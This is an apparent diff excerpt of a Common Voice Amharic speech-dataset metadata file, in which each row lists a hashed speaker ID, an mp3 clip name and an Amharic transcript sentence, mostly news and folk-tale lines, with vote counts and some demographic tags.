9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643475.mp3 cad9b5dd80179e1b64d9abd449ae47c18a22934af03de70b93b5a83d94709346 የእንስሳው ጤንነት የተመረመረ እና የሥጋው ምንጭ በደንብ የታወቀ መሆን እንደሚገባው ይመክራሉ። 2 0 am
|
| 171 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643476.mp3 c5ce03c048e6be766e0eac60aa2329cc767267da4a7900d37cd56c409c2fcf5a ኢትዮጵያ በአገሪቱ ውስጥ ለጀመረቻቸውና የምጣኔ ሀብት እድገት ያመጣሉ ላለቻቸው ፕሮጀክቶች ወሳኙ ነው 2 0 am
|
| 172 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643477.mp3 a46667548aa87e180da21051df4d949c23a48ccd5709df201dcdc8739c230845 ለዚህ ነው እርሱ ከእኔ በላይ ያረጀው፡፡ 2 0 am
|
| 173 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643480.mp3 6e404694e2be8a7414a80bce858b14911e2aecd29fccca5e269e8d3ab8889bc0 በዚህ ጊዜ ውሸታሙ ሰው ውሃ ውስጥ ወርውሩኝና ልሙት አላቸው፡፡ 2 0 am
|
| 174 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643513.mp3 aa60918675a6652337dddcd660b8d99e28d4360ba4f2b56c08e89a7ef7bfa134 አስክሬናቸው በሆስፒታል እንደሚገኝ ለደኅንነታቸው ሲባል ስማቸውን የምንጠቅሳቸው ምንጮች ተናግረዋል። 2 0 am
|
| 175 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643522.mp3 c78687e665f2db6b68a7ed41d804a032deba3fd5d6814b45e913528f6ce11b33 ከኢትዮጵያ እግር ኳስ ፌዴሬሽን ያገኘነው መረጃ እንዳመላከተው አሰልጣኝ ውበቱ ከኃላፊነታቸው ለቀዋል 2 0 am
|
| 176 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643539.mp3 bf46474b7c5bdac98c4f484ac81a3315cb76a1f9822b51d0c521f713acfb8dea ከዚያም ባልየው ሚስቱን በሰላም ወደ ቤቱ ይዞ ገብቶ የባልና ሚስት ኑሯቸውን ቀጠሉ፡፡ 2 0 am
|
| 177 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643541.mp3 c72c2d136f092642f1422df0645952376b31f75a023aa18c667ff2426fb92d55 በጉዳዩ ውስጥ እንደሌሉበት ሲክዱ ዓይናቸው አይርገበገብም። 2 0 am
|
| 178 |
+
9d0b03806e99bbf3e1217178a709e2b2b935e0db119081a55b9dea2e56507b328ef405da4df79a0f2d4ff210a1b6dbb07d9111274ee83b7b2af2339205a3b080 common_voice_am_39643542.mp3 89593d4c2eb39f99ce4f033c449209d91f966b3c4d603debd2e86001caef34e9 ወደ ሶስተኛ ወገን ከመውሰድ ጀምሮ አራተኛ አደራዳሪ እንዲኖር እስከመጠየቅ ደርሰውም ነበር። 2 0 am
|
| 179 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362409.mp3 9900e56a9f58dc93af63ac748edf993054f2306d2d520e9e4ba393585d1ddbdb አክለውም በፌደራል መንግሥቱ እና በህወሓት መካከል የተደረሰው ስምምነት ያለ አንዳች ማመንታት መተግበር ይኖርበታል ብለዋል። 2 0 twenties male_masculine am
|
| 180 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362417.mp3 b884bbf6c684adb1a58f96bf83bd503b94572a9849efa448fee20d18a3a7d5d4 ስለዚህም ሚስማሩ በእጅ አንጓ ላይ ወይም አጥንት ላይ እንዲያርፍ ይደረጋል። 2 1 twenties male_masculine am
|
| 181 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362427.mp3 8ca9def0ab625c1aade1a64545d1c0a38784cbf33956f3c41201dd8a22da2eca ኢየሱስ አስቀድሞ ስለሞተ በእሱ ላይ ይህንን አልፈጸሙም። 2 0 twenties male_masculine am
|
| 182 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362429.mp3 6bf37bf41b1e9b4d1ae6461caa29fcd842950a3d66976d6b18623f031863780d ይህ ደግሞ በልጆቹ ዘንድ የሥነ ልቦና መቀንጨርን ያስከትልባቸዋል። 2 0 twenties male_masculine am
|
| 183 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362443.mp3 93263fe2ccb24a202bbe698cf48f9f1d73e75f8e9026d4d521415246c912bfa8 በዚህ ግጭት መሃል ሁለት ጄኔራሎች በባላንጣነት በጽንፍ ስፍራ ተቀምጠዋል። 2 0 twenties male_masculine am
|
| 184 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362447.mp3 b8244afc78f4ce2f4df0d48abb2bc747e2fb9af7b2dd0df7e0d9f54c155dcf3f በቅኝ ግዛት ወቅት በእንግሊዝ አደራዳሪነት በተደረገ ስምምነት ወንዙን ለመከፋፈል ከስምምነት ላይ ተደርሷል። 2 0 twenties male_masculine am
|
| 185 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362478.mp3 7e16e54361ea00992a0722570407d983e2c764b5bc3781faf472b1a6fadc6550 የዩኒቨርስቲ ትምህርት እስኪጠናቀቅ ለአራት ዓመት የትምህርት ክፍያ ይከፍላሉ ስትል ተናግራለች። 2 0 twenties male_masculine am
|
| 186 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362482.mp3 90d81ecb06b683b130d3e20bd00be588de5008973b3e628797bbfbceb4ff3339 ኢትዮጵያ ሕዳሴ ግድብን በተመለከተ የፀጥታው ምክር ቤት መወያየቱን እንደማትቀበለው አስታውቃለች 2 0 twenties male_masculine am
|
| 187 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362498.mp3 840cbf12ec9f5924aa675e41a07ad98aab731332bc635c0c55f46c42a98b4793 በሱዳን መደበኛ ጦርና ፈጥኖ ደራሽ ልዩ ኃይሉ የሚደረገው ፍልሚያ ተፋፍሞ እንደቀጠለ ነው። 2 1 twenties male_masculine am
|
| 188 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362499.mp3 1231eca10204d300d9d6cc6f29bab9d1ca603003584d0354ede8d0d8c45b182b ኢትዮጵያ ይህ ስምምነት ጥቅሜን ይጎዳል በማለት በመቃወሟ ድርድሩ ሳይቋጭ ቀርቷል። 2 0 twenties male_masculine am
|
| 189 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362500.mp3 b0a2fdbd1bb18dccdfc671ff191e5cf4c557e4bbec5fe3f0f7edf9697e248c17 እንደዚህ ዓይነት ጠላ ማግኘት አልቻልኩም አለ፡፡ 2 0 twenties male_masculine am
|
| 190 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362502.mp3 a97f709feee9071e9947d1402142432bf572ed50ea8381cfc683b0f37146148a ገና የሀያ አንድ ዓመት ወጣት ነበረች። 2 0 twenties male_masculine am
|
| 191 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362516.mp3 a9e5d1adf65fb054662cff6938f9510eb9bdcd9f4f52a397a62fb924fb41af2e ሌላው የራስ ምታቱ መንስኤ ቡና ነው። 2 0 twenties male_masculine am
|
| 192 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362518.mp3 14f63ca0f131b3510516017cbc7d344f964144d7b49cdc69f4663650bc97aa02 በጦርነቱ የደረሰውን ውድመት መልሶ ለመገንባት ሀያ ቢሊየን ዶላር እንደሚያስፍልግ የኢትዮጵያ መንግሥት ባለሥልጣናት በቅርቡ ተናግረዋል። 2 0 twenties male_masculine am
|
| 193 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362643.mp3 4dc6097cd557dac760447c1ff63082164bc8e8bbf99f07ca7337b04526ac9794 ተቋራጩ ገንዘቡን ለሉላ ሲልቫ የሰጣቸው በብራዚል ነዳጅ ድርጅት ሥራ እንዲያገኝ በሚል ነበር። 2 0 twenties male_masculine am
|
| 194 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362677.mp3 9391151de68abf968ec835c31eecc29e9859217d80eea9ac8406907921dc087f ነብሩንም አወጣው፡፡ 2 0 twenties male_masculine am
|
| 195 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362698.mp3 bcbdcbd8ca60de12c6731d678eec4e3e21de431c7c8a2bdfb18ac910d46040f9 ካፒቴን ማይሂሎ ከተማዋን ለማስጠበቅ ሀገራቸውን የሚወዱ በርካታ ሰዎች እንደተገደሉም አስታውሷል። 2 0 twenties male_masculine am
|
| 196 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362701.mp3 818fb75990dee2595edeef0b50a1ddfb54507b0a0e75ac9da0b8d155dca19e28 በአራተኛውም ቀን ይህንኑ አደረገ፡፡ 2 0 twenties male_masculine am
|
| 197 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362746.mp3 bbfc21f36ab684bb28df57566dc85153422e92d566ddf6c23c4bcb9defcb9a17 አላሾፈም እውነቱን ነው እኔ ፈላስፋ አይደለሁም፡፡ 2 0 twenties male_masculine am
|
| 198 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362767.mp3 26fc66c2b8d8ffba4df6bbfec27f81ee4008c66bd25337b182c7dd68fd4fc57e በተለይም ችግሩ ከተባባሰ ነገሮች ውስብስብ እንደሚሆኑ ያነሳሉ። 2 0 twenties male_masculine am
|
| 199 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362772.mp3 1fcc3125e220ca45e85f6915abe4cb3b2dc96b41a9557eb85b291a3a566e6f1a አብዛኞቹ መርሐግብር በማዘጋጀት ኮንቮይ መኪና አሰልፈው ወገኖቻቸውንና ጥቂት ዓለምአቀፍ ሠራተኞችን ይዘው በማምለጥ ከውጭ ሆነው ያያሉ። 2 0 twenties male_masculine am
|
| 200 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39362811.mp3 5466824664c601c9820448e797122fcb7e329f3648c3891095f7a125dff62f2f ለ ሀያ እና ሰላሳ ጊዜ መጠቀምም ይቻላል። 2 0 twenties male_masculine am
|
| 201 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936870.mp3 513a1e9366887b10629e3233f88306b1a687754ef21321dbd9dc9707a421729f አሜሪካ በአማራ እና ኦሮሚያ ክልሎች እየተከሰቱ ያሉ ግጭቶች ሰላማዊ እልባት እንዲበጅላቸው ዐቢይ አህመድን ጠየቀች 2 0 am
|
| 202 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936885.mp3 251d6042e346fe9d39a8e673a0b9a0dfe858d5062d5c7285c69a742ce1211577 በቅርቡ ግን ይህንን ህመም ያስታግሳል የተባለች አዲስ ቴክኖሎጂ ይፋ ሆኗል ብሏል። 2 0 twenties male_masculine am
|
| 203 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936886.mp3 831e976824851f091076fb5df49d92a9b5bb0467b1349111b72227a413117181 ዋቢ እንዴት ልጠቅስ? 2 0 twenties male_masculine am
|
| 204 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936888.mp3 b884ad114fa68673242a0a27347eff4be3d263ae757b9f607a2804d227835731 ሁለተኛውስ ስላለፈው ነገር ሁሉ አትቆጭ፡፡ 2 0 twenties male_masculine am
|
| 205 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936891.mp3 0df069fcd6c675ce66a117b721b9a58f0585e59d40f7ca63db5c41cf2da65027 ደም አፋሳሽ ጦርነት አልፈናል። 2 0 twenties male_masculine am
|
| 206 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936896.mp3 cf453636dcbc9a4f8cdb186c630d19eb7117730285a5d3d7b955896d3845e701 በዕድሜ ትልቁ ወንድ ደግሞ የ መቶ አስራ ሶስት ዓመቱ ቬንዝዌላዊ ሁዋን ቪንሰንቴ ሞራ ናቸው። 2 0 twenties male_masculine am
|
| 207 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936920.mp3 a49ec4757ada6aa14784100be98dd72cb32b0723ea78f1d98a125411e5be4416 በሱዳን የተያዙት ወታደሮቿም ከጦሩ ጋር የጋራ ልምምድ ሲያደርጉ ነበር። 2 0 twenties male_masculine am
|
| 208 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936921.mp3 caec36dcbc5fa7b03524a69e8e889f6cfff8116691facbc4ba1ccf84d09aa3dc ግብፅ እና ሱዳን ደግሞ አሳሪ ስምምነት ላይ ተደርሶ ፊርማ እንዲቀመጥ ሲወተውቱ ሰንብተዋል። 2 0 twenties male_masculine am
|
| 209 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936928.mp3 c2d6a52e431d29737cff4557221e0d693c04eaa9b138e0d0531848cac67696b8 ስራን ከመስራት ባሻገር በማህበራዊ አገልግሎቶች ላይ በስፋት እየሰራ ይገኛል ብለዋል፡፡ 2 0 twenties male_masculine am
|
| 210 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936929.mp3 7aca353535ceb5786bfbcf1c6a96f516dee41d2da0d216cc793c3c38f9345435 በውይይቱ መደምደሚያ ላይም ጉዳዩ ቀደም ሲል በተያዘበት በአፍሪካ ሕብረት በኩል መቋጫ እንዲያገኝ ውሳኔ ሰጥቷል። 2 0 twenties male_masculine am
|
| 211 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936930.mp3 d7b2abe43511b5c50d32ec6680635a92b6c3f03df481639ea64fa7ffed601e35 ብዙዎች በነገሩ ሲሳለቁ እንዳንዶች በውሳኔው ሲያዝኑም ነበር። 2 0 twenties male_masculine am
|
| 212 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936939.mp3 b9881c04a1c22eb1a5ed90c45fd859362841de994fd87bc6731464da3e3e9ae4 አዋቂውም ሰው ችግራችሁ ምንድነው ብሎ ጠየቃቸው፡፡ 2 0 twenties male_masculine am
|
| 213 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936942.mp3 c732df0fe55df128df3ff25551c56093b0183b9ebdcd0afe4b4eaaa04e981c43 እስሩ ቀርቶላቸው የማኅበረሰብ በጎ ሥራ እንዲሰሩ ተፈርዶባቸዋል። 2 0 twenties male_masculine am
|
| 214 |
+
8730810212d2144074cecee2d6d3c0739e6aea4f3872cf7eebe303c27e59c496436fd72a02f88ed2fc87620c65b8a073cff5ac602f87649fa1b2d257c106cf21 common_voice_am_39936946.mp3 3c4ecb7517832bf049a856c480c9ccb29f430f6c6d8437fc9509ad0de07ed919 ኢትዮጵያ በሕዳሴው ግድብ ድርድር ሰበብ የአባይ ወንዝ ተጠቃሚነቷን የሚገድብ ስምምነት አትቀበልም 2 0 twenties male_masculine am
|
| 215 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37888992.mp3 7fd9e5b8758e865e79e75001dbed4e16a6ca710b72bd0506778a4b2adca5d216 የፊልም ፕሮዲውሰሯ በበኩሏ የክሊዮፓትራ የዘር አመጣጥ አከራካሪ ነው ብላለች። 2 0 twenties male_masculine am
|
| 216 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37888993.mp3 ad645889029520ab383345c2ec8d47a3ee1e66e1b9263a78ee6831face06c501 አሁን በሚላን ሆስፒታል ሕክምና ላይ ናቸው። 2 0 twenties male_masculine am
|
| 217 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37888994.mp3 9f453a2c066a4aa52eb903588d45d5d60f1fd1a681e0eea71a28426a68344286 እያንዳንዱ��� ጉርሻ በዝግታ አላምጦ እና አጣጥሞ መመገብ መጠንን ላለማለፍ ጥሩ ዘዴ ነው። 2 0 twenties male_masculine am
|
| 218 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37888995.mp3 5c72abf3a0ae69bfd62da93f3dfee5fc3c1f069e0d4ea011838f1b47a8ed5712 ቋሚውንም አግኝተናል አሉ፡፡ 2 0 twenties male_masculine am
|
| 219 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37888996.mp3 7ba27932d294b9e0487961429aaf72392df79e50c37bda95da861334b7a6ee7f ለስኬቱ መምጣት ጠቅላይ ሚኒስትር ዐቢይ አሕመድ ለሰላም የወሰዱት ጠንካራ እርምጃ ወሳኝ ነበር። 2 0 twenties male_masculine am
|
| 220 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890158.mp3 64c58a280df6768e9d7a4290456871e1d45869fcc9bbef689b4cd0fd3dd93127 እርሱም ይህንን በማድረግ ለምሳ የሚሆን እንሰት አገኘ፡፡ 2 0 twenties male_masculine am
|
| 221 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890159.mp3 32bfc49effda9f36bd2acacc37d755c892918230eca9a1bb98e66036ae90687a ይህ በእንዲህ እንዳለ የኢትዮጵያ መንግሥት በሱዳን የሚገኙ ኢትዮጵያውያንን ሁኔታ በቅርበት እየተከታተልኩ ነው ብሏል። 2 0 twenties male_masculine am
|
| 222 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890160.mp3 61079782734afd4e47fe3350b848bd8f30fddf8b9c993dfa719219ea44708836 እርጎ ደግሞ ፕሮቲን አለው የቺያ ዘር ጤናማ ስብ አለው። 2 0 twenties male_masculine am
|
| 223 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890161.mp3 4fda0e122b8fcd6435ae4797f66fc9dd27d75a44044555cec854a65f9b8e9af5 ከእነዚህም መካከል ንግግሩ ከኢትዮጵያ ውጪ በሦስተኛ ወገን አሸማጋይነት ሊደረግ እንደሚገባ ገልጾ ነበረ 2 0 twenties male_masculine am
|
| 224 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890162.mp3 956d6f37f0dfe9121c5d6f82e7d00837a34da339269c700691e417b9ae78d67b በዚህ ጀግንነቱ ስምንቱ ወንድማማቾች ይቀኑበት ነበር፡፡ 2 0 twenties male_masculine am
|
| 225 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890163.mp3 8ca845985a4600f3fc574e96ef7b2f8e395cbd3bb8982bd40a4d093b0e2f2d99 ለምንድነው የዋሸኸን? ከብቶች በቆዳ የሚለውጥ ሰው አለ ብለኸን ነበር፡፡ 2 0 twenties male_masculine am
|
| 226 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890164.mp3 5cb234d24149a3a5d16f8dbdfe3020c4440996425a5550e1dbd178233b327709 አንድ አባት ሶስት ልጆች ነበሩት፡፡ 2 0 twenties male_masculine am
|
| 227 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890165.mp3 757bbfc138bc34cdb25edbb617ad578cbecbfdf1a7c2655eef6313ecdc6a8b00 ሲለው የተለያየ ምግብ አቀረበለት፡፡ 2 0 twenties male_masculine am
|
| 228 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890166.mp3 79236c369ede92e7d725615ea9ff831969aa45a2450a017df09305a8e7aaed94 የፀረ ሰው ፈንጂ በከፍተኛ ሁኔታ ወደሚገኝባት ሌላኛዋ መካከለኛዋ አፍሪካዊት አገር አንጎላ እናምራ። 2 0 twenties male_masculine am
|
| 229 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890167.mp3 494abde3848727666f20310df5d2d6a9c610e13e00f8734835d9269889f662e5 ለዚህ ነው ከብቶች እንድትገዛ ገንዘብ የተወልህ ከዚህ በተጨማሪ ሁላችሁም ገንዘብ እንደምታገኙ አመላክቷችኋል አላቸው፡፡ 2 0 twenties male_masculine am
|
| 230 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890178.mp3 873f89a24ceff3f504d54f825e96937a5340f294f536bd82638dd8953e67478e አንድ ሰው አንድ ሳምቡሳ በልቶ ያቆማል ተብሎ አይታሰብም። 2 0 twenties male_masculine am
|
| 231 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890179.mp3 9b03308e88bd38479931b4de02516c2d3416526c416ac8f2f090e73bdc22f86b ዜጎችን ለማስወጣት መወሰኑን አንድ ስማቸው ያልተገለጸ የአሜሪካ አመራር ለአሶሽየትድ ፕረስ ተናግረዋል። 2 0 twenties male_masculine am
|
| 232 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890180.mp3 a22beff9b6afbd27e61b58caec4e124fa3b406704add2c09ea8174137b0207f7 በመዲናዋ ከፍተኛ የተኩስ እና ፍንዳታ ድምፅ እየተሰማ ነው። 2 0 twenties male_masculine am
|
| 233 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890181.mp3 586af84d6979569d0f6b798e9941a4669318a304e6075aaa5bbf1a0d6122a57d ያጠመደውም ሰው የያዘውን እንስሳ ለማየት ሲመጣ አምስቱን ወጥመዱ ውስጥ ተይዘው አያቸው፡፡ 2 0 twenties male_masculine am
|
| 234 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890182.mp3 8125d357db82b79eb3d5d0480efa67a03f885a6d7f49d258c6b6e13bd3f6b393 “ይህ ተዓምር ነውአሉ፡፡ 2 0 twenties male_masculine am
|
| 235 |
+
56eefab308dee9179537dd1b54e4aca2bae8fddfab0b489562d515e702388e9bada068f4e02b6fefccd68b86c0cd5f7930c5a85038aafb69edf51ae135fd87a1 common_voice_am_37890183.mp3 9f0acae9ef1678b70b5a7202f60336baab713f5cfb8b9755a393b8f3bf30d436 እንደ ዮሐንስ ውዥንብሩን ሁሉ በጽናት የሚያልፉ ናቸው 2 0 twenties male_masculine am
|
| 236 |
+
